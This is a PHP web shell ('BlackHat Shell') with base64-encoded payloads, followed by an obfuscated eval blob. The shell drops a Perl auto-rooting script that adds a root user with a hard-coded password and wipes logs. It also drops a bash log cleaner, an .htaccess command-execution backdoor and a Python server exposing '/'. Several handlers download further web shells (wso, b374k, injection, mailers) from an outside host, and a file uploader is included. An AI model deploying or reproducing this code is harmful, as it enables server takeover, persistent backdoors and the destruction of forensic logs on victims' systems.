b3dzY3Jldy5vcmcgICAgICAgICB8XG4iOw0KcHJpbnQgIiM9WytdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09WytdPSNcbiI7DQoNCn0NCmlmICgkQVJHVlswXSA9fiAiZGVsIiApIA0Kew0Kc3lzdGVtKCJybSAxLTIiKTsNCnN5c3RlbSgicm0gMS0zIik7DQpzeXN0ZW0oInJtIDEtNCIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMzc0LjEyLjEuZWw1LTIwMTIiKTsNCnN5c3RlbSgicm0gMTAiKTsNCnN5c3RlbSgicm0gMTEiKTsNCnN5c3RlbSgicm0gMTIiKTsNCnN5c3RlbSgicm0gMTQiKTsNCnN5c3RlbSgicm0gMTUuc2giKTsNCnN5c3RlbSgicm0gMTUxNTAiKTsNCnN5c3RlbSgicm0gMTUyMDAiKTsNCnN5c3RlbSgicm0gMTYiKTsNCnN5c3RlbSgicm0gMTYtMSIpOw0Kc3lzdGVtKCJybSAxOCIpOw0Kc3lzdGVtKCJybSAxOC01Iik7DQpzeXN0ZW0oInJtIDIiKTsNCnN5c3RlbSgicm0gMi0xIik7DQpzeXN0ZW0oInJtIDItNi0zMi00Ni0yMDExIik7DQpzeXN0ZW0oInJtIDItNi0zNyIpOw0Kc3lzdGVtKCJybSAyLTYtOS0yMDA1Iik7DQpzeXN0ZW0oInJtIDItNi05LTIwMDYiKTsNCnN5c3RlbSgicm0gMi4zNC0yMDExRXhwbG9pdDEiKTsNCnN5c3RlbSgicm0gMi40LjIxLTIwMDYiKTsNCnN5c3RlbSgicm0gMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMTY0LTIwMTAiKTsNCnN5c3RlbSgicm0gMi42LjE4LTE5NCIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMTk0LjEtMjAxMCIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMTk0LjItMjAxMCIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMjAxMSIpOw0Kc3lzdGVtKCJybSAyLjYuMTgtMjc0LTIwMTEiKTsNCnN5c3RlbSgicm0gMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgicm0gMi42LjItaG9vbHlzaGl0Iik7DQpzeXN0ZW0oInJtIDIuNi4yMCIpOw0Kc3lzdGVtKCJybSAyLjYuMjAtMiIpOw0Kc3lzdGVtKCJybSAyLjYuMjIiKTsNCnN5c3RlbSgicm0gMi42LjIyLTIwMDgiKTsNCnN5c3RlbSgicm0gMi42LjIyLTYtODZfNjQtMjAwNyIpOw0Kc3lzdGVtKCJybSAyLjYuMjMtMi42LjI0Iik7DQpzeXN0ZW0oInJtIDIuNi4yMy0yLjYuMjRfMiIpOw0Kc3lzdGVtKCJybSAyLjYuMjMtMi42LjI3Iik7DQpzeXN0ZW0oInJtIDIuNi4yNCIpOw0Kc3lzdGVtKCJybSAyLjYuMjcuNy1nZW5lcmkiKTsNCnN5c3RlbSgicm0gMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgicm0gMi42LjMyLTQ2LjEuQkhzbXAiKTsNCnN5c3RlbSgicm0gMi42LjMzIik7DQpzeXN0ZW0oInJtIDIuNi4zMy0yMDExIik7DQpzeXN0ZW0oInJtIDIuNi4zNC0yMDExIik7DQpzeXN0ZW0oInJtIDIuNi4zNC0yMDExRXhwbG9pdDEiKTsNCnN5c3RlbSgicm0gMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCJybSAyLjYuMzciKTsNCnN5c3RlbSgicm0gMi42LjM3LXJjMiIpOw0Kc3lzdGVtKCJybSAyLjYuNV9ob29seXNoaXQiKTsNCnN5c3RlbSgicm0gMi42LjYtMzQiKTsNCnN5c3RlbSgicm0gMi42LjYtMzRfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oInJtIDIuNi42X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJybSAyLjYuN19oMDBseXNoaXQiKTsNCnN5c3RlbSgicm0gMi42LjgtMjAwOC45LTY3LTIwMDgiKTsNCnN5c3RlbSgicm0gMi42LjgtNV9oMDBseXNoaXQiKTsNCnN5c3RlbSgicm0gMi42LjhfaDAwbHlzaGl0Iik7DQpzeXN0ZW0oInJtIDIuNi45Iik7DQpzeXN0ZW0oInJtIDIuNi45LTIwMDQiKTsNCnN5c3RlbSgicm0gMi42LjktMjAwOCIpOw0Kc3lzdGVtKCJybSAyLjYuOS0zNCIpOw0Kc3lzdGVtKCJybSAyLjYuOS00Mi4wLjMuRUxzbXAiKTsNCnN5c3RlbSgicm0gMi42LjktNDIuMC4zLkVMc21wLTIwMDYiKTsNCnN5c3RlbSgicm0gMi42LjktNTUiKTsNCnN5c3RlbSgicm0gMi42LjktNTUtMjAwNy1wcnY4Iik7DQpzeXN0ZW0oInJtIDIuNi45LTU1LTIwMDgtcHJ2OCIpOw0Kc3lzdGVtKCJybSAyLjYuOS02NzIwMDgiKTsNCnN5c3RlbSgicm0gMi42LjkuMiIpOw0Kc3lzdGVtKCJybSAyLjYuOTEtMjAwNyIpOw0Kc3lzdGVtKCJybSAyMDA3Iik7DQpzeXN0ZW0oInJtIDIwMDktbG9jYWwiKTsNCnN5c3RlbSgicm0gMjAwOS13dW5kZXJiYXIiKTsNCnN5c3RlbSgicm0gMjAxMSBMb2NhbFJvb3QgRm9yIDIuNi4xOC0xMjguZWw1Iik7DQpzeXN0ZW0oInJtIDIxIik7DQpzeXN0ZW0oInJtIDMiKTsNCnN5c3RlbSgicm0gMy40LjYtOS0yMDA3Iik7DQpzeXN0ZW0oInJtIDMxIik7DQpzeXN0ZW0oInJtIDM2LXJjMSIpOw0Kc3lzdGVtKCJybSA0Iik7DQpzeXN0ZW0oInJtIDQ0Iik7DQpzeXN0ZW0oInJtIDQ3Iik7DQpzeXN0ZW0oInJtIDUiKTsNCnN5c3RlbSgicm0gNTAiKTsNCnN5c3RlbSgicm0gNTQiKTsNCnN5c3RlbSgicm0gNiIpOw0Kc3lzdGVtKCJybSA2NyIpOw0Kc3lzdGVtKCJybSA3Iik7DQpzeXN0ZW0oInJtIDctMiIpOw0Kc3lzdGVtKCJybSA3eCIpOw0Kc3lzdGVtKCJybSA4Iik7DQpzeXN0ZW0oInJtIDkiKTsNCnN5c3RlbSgicm0gOTAiKTsNCnN5c3RlbSgicm0gOTQiKTsNCnN5c3RlbSgicm0gTGludXhfMi42KDEpLjEyIik7DQpzeXN0ZW0oInJtIExpbnV4XzIuNi4xMiIpOw0Kc3lzdGVtKCJybSBMaW51eF8yLjYuOS1qb29seXNoaXQiKTsNCnN5c3RlbSgicm0gYWNpZCIpOw0Kc3lzdGVtKCJybSBkM3ZpbCIpOw0Kc3lzdGVtKCJybSBleHAxIik7DQpzeXN0ZW0oInJtIGV4cDIiKTsNCnN5c3RlbSgicm0gZXhwMyIpOw0Kc3lzdGVtKCJybSBleHBsb2l0Iik7DQpzeXN0ZW0oInJtIGZ1bGwtbmVsc29uIik7DQpzeXN0ZW0oInJtIGdheXJvcyIpOw0Kc3lzdGVtKCJybSBsZW5pcy5zaCIpOw0Kc3lzdGVtKCJybSBsb2NhbC0yLjYuOS0yMDA1LTIwMDYiKTsNCnN5c3RlbSgicm0gbG9jYWwtcm9vdC1leHBsb2l0LWdheXJvcyIpOw0Kc3lzdGVtKCJybSBwcml2NCIpOw0Kc3lzdGVtKCJybSBwd25rZXJuZWwiKTsNCnN5c3RlbSgicm0gcm9vdC5weSIpOw0Kc3lzdGVtKCJybSBydW54Iik7DQpzeXN0ZW0oInJtIHRpdm9saSIpOw0Kc3lzdGVtKCJybSB1YnVudHUiKTsNCnN5c3RlbSgicm0gdm1zcGxpY2UtbG9jYWwtcm9vdC1leHBsb2l0Iik7DQpzeXN0ZW0oInJtIHoxZC0yMDExIik7DQpwcmludCAiIz1bK109PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1bK109I1xuIjsNCnByaW50ICJ8ICAgICAgICAgICAgIFRoYW5rcyBGb3IgVXNpbmcgaXQgICAgICAgICAgICAgICAgICB8XG4iOw0KcHJpbnQgInwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifCAgICAgICBKb2luIHVzIG9uIGh0dHA6Ly90aGVjcm93c2NyZXcub3JnICAgICAgICAgfFxuIjsNCnByaW50ICIjPVsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXT0jXG4iOw0KDQp9DQppZiAoJEFSR1ZbMF0gPX4gImFkZCIgKSANCg0Kew0KcHJpbnQgIkFkZCBVc2VyIFJvb3QgOkRcbiI7DQpwcmludCAidXNlciA6IFsgZ2FiYnkgXVxuIjsNCnN5c3RlbSAiYWRkdXNlciAtZyAwIGdhYmJ5IC1HIHdoZWVsLHN5cyxiaW4sZGFlbW9uLGFkbSxkaXNrIC1kIC9zZjcgLXMgL2Jpbi9zaCI7DQpzeXN0ZW0gInBhc3N3ZCByMDB0MTIzIjsNCnByaW50ICJwYXNzIGlzIDogcjAwdDEyM1xuIjsgDQpwcmludCAiIz1bK109PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1bK109I1xuIjsNCnByaW50ICJ8ICAgICAgICAgICAgIFRoYW5rcyBGb3IgVXNpbmcgaXQgICAgICAgICAgICAgICAgICB8XG4iOw0KcHJpbnQgInwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifCAgICAgICBKb2luIHVzIG9uIGh0dHA6Ly90aGVjcm93c2NyZXcub3JnICAgICAgICAgfFxuIjsNCnByaW50ICIjPVsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXT0jXG4iOw0KDQp9DQppZiAoJEFSR1ZbMF0gPX4gInJtIiApIA0KDQp7DQpwcmludCAicm0gLXJmIExvZy4uLlxuIjsNCnN5c3RlbSAicm0gLXJmIC90bXAvbG9ncyI7DQpzeXN0ZW0gInJtIC1yZiAvcm9vdC8ua3NoX2hpc3RvcnkiOw0Kc3lzdGVtICJybSAtcmYgL3Jvb3QvLmJhc2hfaGlzdG9yeSI7DQpzeXN0ZW0gInJtIC1yZiAvcm9vdC8uYmFzaF9sb2dvdXQiOw0Kc3lzdGVtICJybSAtcmYgL3Vzci9sb2NhbC9hcGFjaGUvbG9ncyI7DQpzeXN0ZW0gInJtIC1yZiAvdXNyL2xvY2FsL2FwYWNoZS9sb2ciOw0Kc3lzdGVtICJybSAtcmYgL3Zhci9hcGFjaGUvbG9ncyI7DQpzeXN0ZW0gInJtIC1yZiAvdmFyL2FwYWNoZS9sb2ciOw0Kc3lzdGVtICJybSAtcmYgL3Zhci9ydW4vdXRtcCI7DQpzeXN0ZW0gInJtIC1yZiAvdmFyL2xvZ3MiOw0Kc3lzdGVtICJybSAtcmYgL3Zhci9sb2ciOw0Kc3lzdGVtICJybSAtcmYgL3Zhci9hZG0iOw0Kc3lzdGVtICJybSAtcmYgL2V0Yy93dG1wIjsNCnN5c3RlbSAicm0gLXJmIC9ldGMvdXRtcCI7DQpzeXN0ZW0gImNkIC9iaW4iOw0KcHJpbnQgIlx0TG9nIERlbGV0ZWQgTWFzIE1ibG8gOkQuLiBcblxuIjsNCnByaW50ICIjPVsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXT0jXG4iOw0KcHJpbnQgInwgICAgICAgICAgICAgVGhhbmtzIEZvciBVc2luZyBpdCAgICAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfFxuIjsNCnByaW50ICJ8ICAgICAgIEpvaW4gdXMgb24gaHR0cDovL3RoZWNyb3dzY3Jldy5vcmcgICAgICAgICB8XG4iOw0KcHJpbnQgIiM9WytdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09WytdPSNcbiI7DQoNCn0NCiMgQ29kZWQgQnkgR2FiYnkgLSBJbmRvbmVzaWEgRmVtYWxlIEhhY2tlciovIA0K";
file_put_contents("r00t.pl",base64_decode($perlrot));
echo "<script>alert('Perl Auto R00ting Created'); hideAll();</script>";
die();
}
elseif ( $pilih == 'slc') {
$slc ="IyEvYmluL3NoDQojIENvZGVkIEJ5IFJlZCBINHQgViFwZXIgKEJlbmlfVmFuZGEpDQojIEdyMzN0eiA6IEFsbCBNZW1iZXJzIE9mIElySXNUDQojIGNobW9kIDA3NTUgc2VydmVyTEMuc2ggPj4gLi9zZXJ2ZXJMQy5zaA0KDQplY2hvICJbKl0gR29pbmcgVE8gRGVsZXRlIExvZyBTZXJ2ZXJzIC4uLiAiDQpmaW5kIC8gLW5hbWUgKi5iYXNoX2hpc3RvcnkgLWV4ZWMgcm0gLXJmIHt9IFw7DQpmaW5kIC8gLW5hbWUgKi5iYXNoX2xvZ291dCAtZXhlYyBybSAtcmYge30gXDsNCmZpbmQgLyAtbmFtZSAibG9nKiIgLWV4ZWMgcm0gLXJmIHt9IFw7DQpmaW5kIC8gLW5hbWUgKi5sb2cgLWV4ZWMgcm0gLXJmIHt9IFw7DQpybSAtcmYgL3RtcC9sb2dzDQpybSAtcmYgJEhJU1RGSUxFDQpybSAtcmYgL3Jvb3QvLmtzaF9oaXN0b3J5DQpybSAtcmYgL3Jvb3QvLmJhc2hfaGlzdG9yeQ0Kcm0gLXJmIC9yb290Ly5rc2hfaGlzdG9yeQ0Kcm0gLXJmIC9yb290Ly5iYXNoX2xvZ291dA0Kcm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZ3MNCnJtIC1yZiAvdXNyL2xvY2FsL2FwYWNoZS9sb2cNCnJtIC1yZiAvdmFyL2FwYWNoZS9sb2dzDQpybSAtcmYgL3Zhci9hcGFjaGUvbG9nDQpybSAtcmYgL3Zhci9ydW4vdXRtcA0Kcm0gLXJmIC92YXIvbG9ncw0Kcm0gLXJmIC92YXIvbG9nDQpybSAtcmYgL3Zhci9hZG0NCnJtIC1yZiAvZXRjL3d0bXANCnJtIC1yZiAvZXRjL3V0bXANCg0KZWNobyAiWypdIERvbmUgLiBHb29kIEx1Y2sgOyki";
file_put_contents("serverLC.sh",base64_decode($slc));
echo "<script>alert('Server Log Cleaner [ serverLC.sh ] Created'); hideAll();</script>";
die();
}
elseif ( $pilih == 'htasell') {
$ht = 'PEZpbGVzIH4gIl5cLmh0Ij4NCk9yZGVyIGFsbG93LGRlbnkNCkFsbG93IGZyb20gYWxsDQo8L2ZpbGVzPg0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLXBocCAuaHRhY2Nlc3MNCiMgPD9waHAgcGFzc3RocnUoJF9HRVRbJ2NtZCddKTs/Pg0K';
file_put_contents(".htaccess",base64_decode($ht));
echo "<script>alert('htaccess Shell [ .htaccess ] Created : open in site/.htaccess?cmd= '); hideAll();</script>";
die();
}
elseif ( $pilih == 'port') {
$openport = 'IyEvdXNyYmluL2VudiBweXRob24NCiMgZGV2aWx6YzBkZS5vcmcgKGMpIDIwMTINCiMgcmVjb2RlZCBieSB4JzFuNzNjdCAoYykgMjAxMw0KDQppbXBvcnQgU2ltcGxlSFRUUFNlcnZlcg0KaW1wb3J0IFNvY2tldFNlcnZlcg0KaW1wb3J0IG9zDQoNCnBvcnQgPSAxMzEyMw0KDQppZl9fbmFtZV9fPT0nX19tYWluX18nOg0KCW9zLmNoZGlyKCcvJykNCglIYW5kbGVyID0gU2ltcGxlSFRUUFNlcnZlci5TaW1wbGVIVFRQUmVxdWVzdEhhbmRsZXINCglodHRwZCA9IFNvY2tldFNlcnZlci5UQ1BTZXJ2ZXIoKCIiLHBvcnQpLCBIYW5kbGVyKQ0KCQ0KCXByaW50KCJOb3cgb3BlbiB0aGlzIHNlcnZlciBvbiB3ZWIgYnJvd3NlciBhdCBwb3J0OiAiICsgc3RyKHBvcnQpKQ0KCXByaW50KCJleGFtcGxlOiBodHRwOi8vd3d3LmZiaS5nb3Y6IiArIHN0cihwb3J0KSkNCglodHRwLnNlcnZlX2ZvcmV2ZXIoKQ==';
file_put_contents("port.py",base64_decode($openport));
chmod("port.py",0755);
echo "<script>alert('Python Open Port 13123 [ port.py ] Created'); hideAll();</script>";
die();
}
}
?>
<?php
if ( $_GET['create'] == 'sabunmassal' ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/p41j0/sabun1.php";
error_reporting(0);
if (file_exists('p41j0/sabun1.php')) {
echo '<br>Location : <br>'.$pwd.'p41j0/sabun1.php' ;
echo '<script type="text/javascript">
alert("Done");
window.location.href = "p41j0/sabun1.php";
</script> ';
} else {
mkdir("p41j0", 0777);
file_put_contents('p41j0/sabun1.php', file_get_contents('https://sites.google.com/site/bhshll123/sabunhsh.txt'));
echo ' <script type="text/javascript">
alert("Done");
window.location.href = "p41j0/sabun1.php";
</script> ';
}
}
?>
<?php
if ( $_GET['create'] == 'wso' ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/p41j0/wso.php";
error_reporting(0);
if (file_exists('p41j0/wso.php')) {
echo '<br>Location : <br>'.$pwd.'p41j0/wso.php' ;
echo '<script type="text/javascript">
alert("Done");
window.location.href = "p41j0/wso.php";
</script> ';
} else {
mkdir("p41j0", 0777);
file_put_contents('p41j0/wso.php', file_get_contents('https://sites.google.com/site/bhshll123/wso.txt'));
echo ' <script type="text/javascript">
alert("Done");
window.location.href = "p41j0/wso.php";
</script> ';
}
}
?>
<?php
if ( $_GET['create'] == '1n73' ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/p41j0/1n73.php";
error_reporting(0);
if (file_exists('p41j0/1n73.php')) {
echo '<br>Location : <br>'.$pwd.'p41j0/1n73.php' ;
echo '<script type="text/javascript">
alert("Done , password :bh");
window.location.href = "p41j0/1n73.php";
</script> ';
} else {
mkdir("p41j0", 0777);
file_put_contents('p41j0/1n73.php', file_get_contents('https://sites.google.com/site/bhshll123/injection.txt'));
echo ' <script type="text/javascript">
alert("Done , password :bh");
window.location.href = "p41j0/1n73.php";
</script> ';
}
}
?>
<?php
if ( $_GET['create'] == 'weev' ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/p41j0/weev.php";
error_reporting(0);
if (file_exists('p41j0/weev.php')) {
echo '<br>Location : <br>'.$pwd.'p41j0/weev.php' ;
echo '<script type="text/javascript">
alert("Done , password :bh");
window.location.href = "p41j0/weev.php";
</script> ';
} else {
mkdir("p41j0", 0777);
file_put_contents('p41j0/weev.php', file_get_contents('weevely url'));
echo ' <script type="text/javascript">
alert("Done , password :please contact your administrator @[email protected]");
window.location.href = "p41j0/weev.php";
</script> ';
}
}
?>
<?php
$name = 'wk';
if ( $_GET['create'] == $name ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/p41j0/".$name.".php";
error_reporting(0);
if (file_exists('p41j0/'.$name.'.php')) {
echo '<br>Location : <br>'.$pwd.'p41j0/'.$name.'php' ;
echo '<script type="text/javascript">
alert("Done");
window.location.href = "p41j0/'.$name.'.php";
</script> ';
} else {
mkdir("p41j0", 0777);
file_put_contents('p41j0/'.$name.'.php', file_get_contents('https://sites.google.com/site/bhshll123/'.$name.'.txt'));
echo ' <script type="text/javascript">
alert("Done");
window.location.href = "p41j0/'.$name.'.php";
</script> ';
}
}
?>
<?php
$name = 'adminer';
if ( $_GET['create'] == $name ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/p41j0/".$name.".php";
error_reporting(0);
if (file_exists('p41j0'.$name.'.php')) {
echo '<br>Location : <br>'.$pwd.'p41j0/'.$name.'php' ;
echo '<script type="text/javascript">
alert("Done");
window.location.href = "p41j0/'.$name.'.php";
</script> ';
} else {
mkdir("p41j0", 0777);
file_put_contents('p41j0/'.$name.'.php', file_get_contents('https://sites.google.com/site/bhshll123/'.$name.'.txt'));
echo ' <script type="text/javascript">
alert("Done");
window.location.href = "p41j0/'.$name.'.php";
</script> ';
}
}
?>
<?php
$name = 'b374k';
if ( $_GET['create'] == $name ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/p41j0/".$name.".php";
error_reporting(0);
if (file_exists('p41j0/'.$name.'.php')) {
echo '<br>Location : <br>'.$pwd.'p41j0/'.$name.'php' ;
echo '<script type="text/javascript">
alert("Done passw b374k");
window.location.href = "p41j0/'.$name.'.php";
</script> ';
} else {
mkdir("p41j0", 0777);
file_put_contents('p41j0/'.$name.'.php', file_get_contents('https://sites.google.com/site/bhshll123/'.$name.'.txt'));
echo ' <script type="text/javascript">
alert("Done passw b374k");
window.location.href = "p41j0/'.$name.'.php";
</script> ';
}
}
?>
<?php
$name = 'ppmailceker';
if ( $_GET['create'] == $name ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/p41j0/".$name.".php";
error_reporting(0);
if (file_exists('p41j0/'.$name.'.php')) {
echo '<br>Location : <br>'.$pwd.'p41j0/'.$name.'php' ;
echo '<script type="text/javascript">
alert("Done");
window.location.href = "p41j0/'.$name.'.php";
</script> ';
} else {
mkdir("p41j0", 0777);
file_put_contents('p41j0/'.$name.'.php', file_get_contents('https://sites.google.com/site/bhshll123/'.$name.'.txt'));
echo ' <script type="text/javascript">
alert("Done");
window.location.href = "p41j0/'.$name.'.php";
</script> ';
}
}
?>
<?php
$name = 'promailerv2';
if ( $_GET['create'] == $name ){
$a= "".$_SERVER['SERVER_NAME'].""; $b= dirname($_SERVER['PHP_SELF']);$c = "/p41j0/".$name.".php";
error_reporting(0);
if (file_exists('p41j0/'.$name.'.php')) {
echo '<br>Location : <br>'.$pwd.'p41j0/'.$name.'php' ;
echo '<script type="text/javascript">
alert("Done");
window.location.href = "p41j0/'.$name.'.php";
</script> ';
} else {
mkdir("p41j0", 0777);
file_put_contents('p41j0/'.$name.'.php', file_get_contents('https://sites.google.com/site/bhshll123/'.$name.'.txt'));
echo ' <script type="text/javascript">
alert("Done");
window.location.href = "p41j0/'.$name.'.php";
</script> ';
}
}
?>
<?php
function rooting()
{
echo '<b>Sw Bilgi<br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Yuklendi</b><br><br>'; }
else { echo '<b>Basarisiz</b><br><br>'; }
}
}
$x = $_GET["x"];
Switch($x){
case "rooting";
rooting();
break;
}
?>
</td></tr>
<br><br><br><br>
<footer style="position:fixed; left:0px; right:0px; bottom:0px; background:rgb(21,21,21); background-image: url(http://i952.photobucket.com/albums/ae1/virusaworm/ag/fondbg_zps650f5025.jpg); text-align:center;"><p><b>
<font color=#58FAF4 size=1 face="Courier New">© 2016 - BlackHat Shell | Coded by p41j0 </font># Learn To Be Better #</b></p></footer>
</html>
Did this file decode correctly?
Original Code
<? eval(str_rot13(gzinflate(str_rot13(base64_decode(("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